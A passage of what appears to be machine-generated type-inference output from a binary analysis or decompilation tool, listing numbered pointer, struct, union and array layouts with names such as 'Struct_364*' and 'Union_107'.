179 ptr(struct(0:array(reg8_t,268),268:reg32_t,272:ptr(TOP),276:code_t,280:ptr(struct(396:ptr(ptr(TOP)),412:ptr(struct(0:ptr(array(reg8_t,32)),4:code_t)))),284:ptr(reg32_t),288:array(reg8_t,7904))) "Struct_364*"
180 union(ptr(struct(0:array(reg8_t,16),16:ptr(TOP))),ptr(struct(0:array(reg8_t,56),56:num8_t))) "Union_41"
181 ptr(union(code,struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(array(reg8_t,84)),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t))) "Union_42*"
182 ptr(struct(0:ptr(code_t),4:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),8:ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),12:ptr(ptr(struct(20:code_t,28:code_t,32:code_t))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,296:uint32_t,300:reg32_t)) "Struct_397*"
183 ptr(ptr(struct(20:code_t,28:code_t,32:code_t))) "Struct_398**"
184 union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))))) "Union_62"
185 ptr(struct(0:ptr(code_t),4:reg32_t,8:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))),12:union(ptr(struct(0:array(reg8_t,88),88:ptr(TOP))),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP)))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,296:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))),300:reg32_t)) "Struct_404*"
186 union(ptr(struct(0:array(reg8_t,88),88:ptr(TOP))),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP)))) "Union_64"
187 ptr(ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP)))) "Struct_246**"
188 ptr(ptr(struct(8:code_t,12:code_t,16:code_t,28:code_t))) "Struct_545**"
189 ptr(ptr(struct(0:array(reg8_t,12),12:code_t))) "StructFrag_23**"
190 ptr(struct(0:array(reg8_t,48),48:ptr(TOP))) "StructFrag_26*"
191 ptr(struct(0:array(reg8_t,12),12:reg32_t)) "StructFrag_44*"
192 ptr(struct(0:array(reg8_t,16),16:ptr(TOP))) "StructFrag_45*"
193 ptr(struct(8:ptr(ptr(struct(0:reg32_t,4:code_t))),16:ptr(struct(0:array(reg8_t,16),16:ptr(TOP))))) "Struct_110*"
194 ptr(struct(24:ptr(struct(0:reg32_t,4:reg32_t)),28:ptr(TOP),32:reg32_t)) "Struct_441*"
195 ptr(struct(36:ptr(struct(0:ptr(ptr(struct(0:ptr(TOP)))),4:reg32_t)),40:ptr(TOP),44:reg32_t)) "Struct_702*"
196 ptr(ptr(struct(0:array(reg8_t,16),16:code_t))) "StructFrag_49**"
197 ptr(struct(8:ptr(ptr(struct(0:array(reg8_t,16),16:code_t))),48:reg32_t)) "Struct_114*"
198 ptr(ptr(struct(0:array(reg8_t,20),20:code_t))) "StructFrag_51**"
199 ptr(struct(0:reg64_t,8:ptr(ptr(struct(0:array(reg8_t,20),20:code_t))))) "StructFrag_50*"
200 ptr(ptr(struct(0:array(reg8_t,24),24:code_t))) "StructFrag_19**"
201 ptr(struct(0:reg64_t,8:ptr(ptr(struct(0:array(reg8_t,24),24:code_t))))) "StructFrag_52*"
202 ptr(ptr(struct(0:array(reg8_t,28),28:code_t))) "StructFrag_20**"
203 ptr(struct(0:array(reg8_t,104),104:ptr(TOP))) "StructFrag_54*"
204 ptr(ptr(struct(0:array(reg8_t,32),32:code_t))) "StructFrag_57**"
205 ptr(struct(4:reg32_t,8:ptr(ptr(struct(0:array(reg8_t,32),32:code_t))))) "Struct_559*"
206 ptr(ptr(code_t)) "proc***"
207 ptr(struct(0:reg32_t,4:ptr(struct(0:array(reg8_t,12),12:ptr(ptr(code_t)))))) "StructFrag_246*"
208 ptr(struct(12:ptr(ptr(TOP)),72:code_t,76:reg32_t,80:reg32_t,84:reg32_t)) "Struct_115*"
209 ptr(struct(0:reg32_t,4:ptr(struct(12:ptr(ptr(TOP)),72:code_t,76:reg32_t,80:reg32_t,84:reg32_t)))) "StructFrag_247*"
210 ptr(struct(52:ptr(struct(0:reg32_t,4:reg32_t)),56:ptr(TOP),60:reg32_t)) "Struct_704*"
211 ptr(struct(0:reg32_t,4:ptr(struct(52:ptr(struct(0:reg32_t,4:reg32_t)),56:ptr(TOP),60:reg32_t)))) "StructFrag_423*"
212 ptr(struct(12:ptr(ptr(TOP)),72:code_t,100:reg32_t)) "Struct_118*"
213 ptr(struct(0:reg32_t,4:ptr(struct(12:ptr(ptr(TOP)),72:code_t,100:reg32_t)))) "StructFrag_248*"
214 ptr(struct(12:ptr(ptr(TOP)),72:code_t,104:reg32_t)) "Struct_119*"
215 ptr(struct(0:reg32_t,4:ptr(struct(12:ptr(ptr(TOP)),72:code_t,104:reg32_t)))) "StructFrag_249*"
216 ptr(struct(0:array(reg8_t,56),56:num8_t)) "StructFrag_64*"
217 union(ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:array(reg8_t,16),16:ptr(TOP))),ptr(struct(0:array(reg8_t,56),56:num8_t)),ptr(struct(0:array(reg8_t,2136),2136:num8_t))) "Union_112"
218 union(ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:array(reg8_t,2136),2136:num8_t))) "Union_111"
219 array(reg8_t,5) "unknown_40"
220 ptr(ptr(struct(4:code_t,12:code_t,16:code_t))) "Struct_308**"
221 union(ptr(struct(0:array(reg8_t,56),56:num8_t)),ptr(struct(0:array(reg8_t,3640),3640:num8_t))) "Union_30"
222 ptr(struct(0:array(reg8_t,3384),3384:num8_t)) "StructFrag_70*"
223 ptr(ptr(ptr(ptr(struct(0:ptr(TOP)))))) "Singleton_0****"
224 union(ptr(struct(0:array(reg8_t,104),104:ptr(ptr(ptr(ptr(TOP)))))),ptr(struct(0:array(reg8_t,3384),3384:num8_t))) "Union_17"
225 ptr(struct(0:array(reg8_t,1580),1580:reg32_t)) "StructFrag_75*"
226 ptr(struct(0:array(reg8_t,1796),1796:reg32_t)) "StructFrag_76*"
227 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(struct(0:array(reg8_t,16),16:ptr(TOP))),ptr(struct(0:array(reg8_t,56),56:num8_t)),ptr(struct(0:array(reg8_t,2136),2136:num8_t))) "Union_51"
228 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(struct(0:array(reg8_t,2136),2136:num8_t)),ptr(struct(0:array(reg8_t,532),532:reg32_t))) "Union_46"
229 union(ptr(ptr(ptr(TOP))),ptr(num8_t),ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t))) "Union_53"
230 union(struct(4:reg32_t,24:reg32_t,28:ptr(array(reg8_t,32))),ptr(array(reg8_t,99)),struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)) "Union_52"
231 union(ptr(struct(0:array(reg8_t,56),56:num8_t)),ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t))) "Union_54"
232 ptr(struct(4:ptr(ptr(struct(0:reg32_t,4:code_t))),12:reg32_t)) "Struct_511*"
233 ptr(struct(4:ptr(ptr(struct(0:array(reg8_t,28),28:code_t))),12:reg32_t)) "Struct_552*"
234 ptr(struct(0:reg32_t,4:ptr(ptr(struct(0:reg32_t,4:code_t))))) "StructFrag_78*"
235 ptr(struct(4:ptr(ptr(struct(0:reg64_t,8:code_t))),8:reg32_t)) "Struct_155*"
236 ptr(struct(0:reg32_t,4:ptr(ptr(struct(0:array(reg8_t,28),28:code_t))))) "StructFrag_77*"
237 ptr(struct(4:ptr(ptr(struct(0:reg32_t,4:code_t))),24:reg32_t)) "Struct_512*"
238 ptr(struct(4:ptr(ptr(struct(0:reg64_t,8:code_t))),8:reg32_t,16:int32_t,20:int32_t)) "Struct_156*"
239 ptr(struct(4:ptr(ptr(struct(0:reg64_t,8:code_t))),8:reg32_t,16:num32_t,20:reg32_t)) "Struct_157*"
240 union(ptr(ptr(struct(0:reg64_t,8:code_t))),ptr(ptr(struct(8:code_t,28:code_t)))) "Union_120"
241 array(reg8_t,76) "unknown_608"
49 union(ptr(num8_t),uint32_t) "Union_10"
242 ptr(ptr(TOP)) "void**"
243 array(reg8_t,78) "unknown_624"
244 array(reg8_t,73) "unknown_584"
245 ptr(struct(0:array(reg8_t,13240),13240:reg16_t)) "StructFrag_85*"
246 union(ptr(struct(0:array(reg8_t,536870908),4294967292:reg16_t)),ptr(struct(0:array(reg8_t,13240),13240:reg16_t))) "Union_144"
247 array(reg8_t,253) "unknown_2024"
248 array(reg8_t,9) "unknown_72"
249 array(reg8_t,2046) "unknown_16368"
250 array(reg8_t,13) "unknown_104"
251 union(ptr(reg32_t),ptr(struct(0:reg32_t,4:reg32_t))) "Union_154"
252 ptr(struct(0:ptr(num8_t),1:num8_t)) "Struct_705*"
253 union(ptr(TOP),ptr(struct(0:ptr(num8_t),1:num8_t))) "Union_155"
254 ptr(array(reg8_t,40)) "unknown_320*"
255 ptr(struct(0:reg32_t,4:ptr(TOP),8:ptr(TOP))) "Struct_159*"
256 ptr(struct(0:array(reg8_t,536870908),4294967292:reg16_t)) "StructFrag_86*"
257 union(code_t,ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),ptr(TOP),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t)),ptr(struct(0:array(reg8_t,3432),3432:num8_t)),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP)))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))),ptr(struct(396:ptr(ptr(TOP)),412:ptr(struct(0:ptr(struct(0:ptr(reg8_t),4:num32_t,8:ptr(reg8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(reg8_t))),4:code_t)))),ptr(struct(0:array(reg8_t,396),396:ptr(struct(0:ptr(TOP),4:code_t)))),ptr(struct(196:ptr(TOP),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),292:ptr(TOP),308:ptr(TOP),364:ptr(TOP),376:reg32_t,396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(TOP))))),400:reg32_t,420:reg32_t,428:reg32_t,432:union(ptr(ptr(TOP)),ptr(TOP)),436:ptr(TOP),440:ptr(TOP),444:reg32_t,488:reg32_t,496:ptr(TOP),508:ptr(TOP),10452:reg32_t)),ptr(struct(0:num8_t,196:ptr(ptr(TOP)),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),292:reg32_t,308:ptr(TOP),396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(TOP))))),432:ptr(TOP),436:reg32_t,440:reg32_t,444:reg32_t,488:reg32_t,496:reg32_t,508:reg32_t)),ptr(struct(196:ptr(TOP),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),308:reg32_t,396:ptr(struct(0:ptr(struct(4:num32_t,48:ptr(ptr(TOP)))),4:code_t)),404:reg32_t,432:ptr(TOP),436:reg32_t,440:reg32_t,508:reg32_t))) "Union_107"
258 ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))) "StructFrag_42**"
259 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),uint32_t,int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_190"
260 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),int32_t,ptr(num8_t),ptr(int32_t),ptr(reg32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_123"
261 ptr(struct(0:ptr(struct(0:array(reg8_t,233464),233464:reg32_t)),4:ptr(struct(0:ptr(TOP),4:num32_t,8:reg32_t,12:num8_t,16:reg32_t)),8:code_t)) "Struct_471*"
38 union(ptr(TOP),uint32_t) "Union_95"
262 union(ptr(TOP),ptr(struct(0:array(reg8_t,3),3:num8_t))) "Union_12"
263 ptr(struct(204:ptr(struct(0:array(reg8_t,40),40:num8_t)),264:ptr(TOP),316:ptr(struct(0:ptr(struct(0:array(reg8_t,233464),233464:reg32_t)),4:ptr(struct(0:ptr(TOP),4:num32_t,8:reg32_t,12:num8_t,16:reg32_t)),8:code_t)))) "Struct_473*"
264 ptr(struct(0:reg32_t,16:union(ptr(TOP),ptr(struct(0:array(reg8_t,3),3:num8_t))),20:ptr(num8_t),28:reg32_t,40:reg32_t,44:ptr(TOP))) "Struct_474*"
265 ptr(struct(0:reg32_t,16:union(ptr(TOP),ptr(struct(0:array(reg8_t,3),3:num8_t))),20:ptr(num8_t),44:ptr(TOP))) "Struct_203*"
266 ptr(struct(204:ptr(struct(0:array(reg8_t,40),40:num8_t)),264:reg32_t,316:ptr(struct(0:ptr(struct(0:array(reg8_t,233464),233464:reg32_t)),4:ptr(struct(0:ptr(TOP),4:reg32_t,8:reg32_t,12:num8_t,16:reg32_t)),8:code_t)),448:ptr(TOP),452:reg32_t,456:reg32_t)) "Struct_426*"
267 ptr(struct(0:ptr(reg16_t),4:num32_t)) "Struct_653*"
268 union(ptr(struct(196:ptr(ptr(TOP)),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),264:reg32_t,316:ptr(struct(0:ptr(struct(0:array(reg8_t,233464),233464:reg32_t)),4:ptr(struct(0:ptr(TOP),4:reg32_t,8:reg32_t,12:num8_t,16:reg32_t)))),396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(TOP))))),496:reg32_t)),ptr(struct(204:ptr(struct(0:array(reg8_t,40),40:num8_t)),264:reg32_t,316:ptr(struct(0:ptr(struct(0:array(reg8_t,233464),233464:reg32_t)),4:ptr(struct(0:ptr(TOP),4:reg32_t,8:reg32_t,12:num8_t,16:reg32_t)),8:code_t)),448:ptr(TOP),452:reg32_t,456:reg32_t))) "Union_137"
269 union(ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t)),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_104"
270 ptr(struct(0:array(reg8_t,90),90:num8_t)) "StructFrag_29*"
271 union(ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP)) "Union_105"
272 union(code_t,ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),ptr(TOP),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP)))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_181"
273 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_22"
274 union(ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t)))) "Union_0"
108 ptr(uint32_t) "size_t*"
275 union(ptr(num8_t),ptr(TOP),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP)))) "Union_99"
276 union(code_t,ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(num8_t),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),24:reg32_t,40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))))) "Union_182"
277 ptr(struct(0:reg32_t,4:reg32_t,8:ptr(reg16_t))) "Struct_225*"
278 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(num8_t),ptr(ptr(reg16_t)),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_71"
279 ptr(struct(0:reg32_t,16:ptr(TOP),24:reg32_t,40:reg32_t,44:ptr(TOP))) "Struct_66*"
280 ptr(struct(640:code_t,644:code_t)) "Struct_819*"
281 ptr(union(ptr(struct(0:reg64_t,8:reg32_t)),ptr(ptr(struct(0:reg64_t,8:reg32_t))),struct(0:ptr(TOP)),ptr(struct(0:ptr(TOP))),ptr(ptr(struct(0:ptr(TOP)))),ptr(ptr(ptr(struct(0:ptr(TOP))))))) "Union_15*"
282 ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))) "Struct_54*"
283 ptr(struct(0:union(ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t)))),4:union(ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t)))))) "Struct_735*"
284 union(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))),ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t))) "Union_170"
285 union(ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t)))) "Union_169"
286 union(ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),ptr(struct(0:union(ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t)))),4:union(ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))))))) "Union_171"
287 ptr(ptr(struct(36:ptr(TOP),48:ptr(ptr(struct(0:array(reg8_t,24),24:code_t)))))) "Struct_38**"
288 ptr(struct(0:reg64_t,8:num32_t)) "StructFrag_154*"
289 ptr(struct(10424:ptr(struct(0:reg32_t,8:code_t,16:ptr(struct(0:reg32_t,8:code_t,16:ptr(TOP))))),10428:reg32_t)) "Struct_820*"
290 ptr(struct(0:ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),44:ptr(TOP))),4:ptr(TOP))) "Struct_513*"
291 ptr(struct(0:ptr(TOP),4:code_t)) "Struct_46*"
292 ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:code_t,44:code_t,48:ptr(ptr(struct(0:reg32_t,4:code_t))))) "Struct_523*"
293 array(reg8_t,12) "unknown_96"
294 union(ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP)))) "Union_80"
295 ptr(struct(196:ptr(ptr(TOP)),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),292:reg32_t,308:ptr(TOP),396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(array(reg8_t,28)))))),432:ptr(TOP),436:reg32_t,440:reg32_t,444:reg32_t,496:reg32_t,508:reg32_t,6752:reg32_t)) "Struct_480*"
296 ptr(struct(196:ptr(TOP),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),308:reg32_t,396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(array(reg8_t,28)))))),432:ptr(TOP),436:reg32_t,440:reg32_t,508:reg32_t)) "Struct_78*"
297 ptr(struct(0:array(reg8_t,396),396:ptr(struct(0:ptr(TOP),4:code_t)))) "StructFrag_205*"
298 union(ptr(reg32_t),ptr(struct(0:array(reg8_t,24),24:reg32_t))) "Union_38"
299 union(ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:ptr(TOP))))))),ptr(struct(0:ptr(TOP),4:code_t))) "Union_86"
300 union(ptr(ptr(struct(0:array(reg8_t,24),24:code_t))),ptr(ptr(struct(0:reg64_t,8:code_t)))) "Union_87"
301 ptr(struct(196:ptr(TOP),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),308:reg32_t,396:ptr(struct(0:ptr(struct(0:array(reg8_t,48),48:ptr(ptr(TOP)))),4:code_t)),432:ptr(TOP),436:reg32_t,440:reg32_t,508:reg32_t)) "Struct_456*"
302 ptr(struct(12:reg32_t,16:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),44:ptr(TOP),48:ptr(ptr(TOP)))) "Struct_180*"
303 union(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:code_t))))),ptr(struct(4:num32_t,48:ptr(ptr(TOP))))) "Union_96"
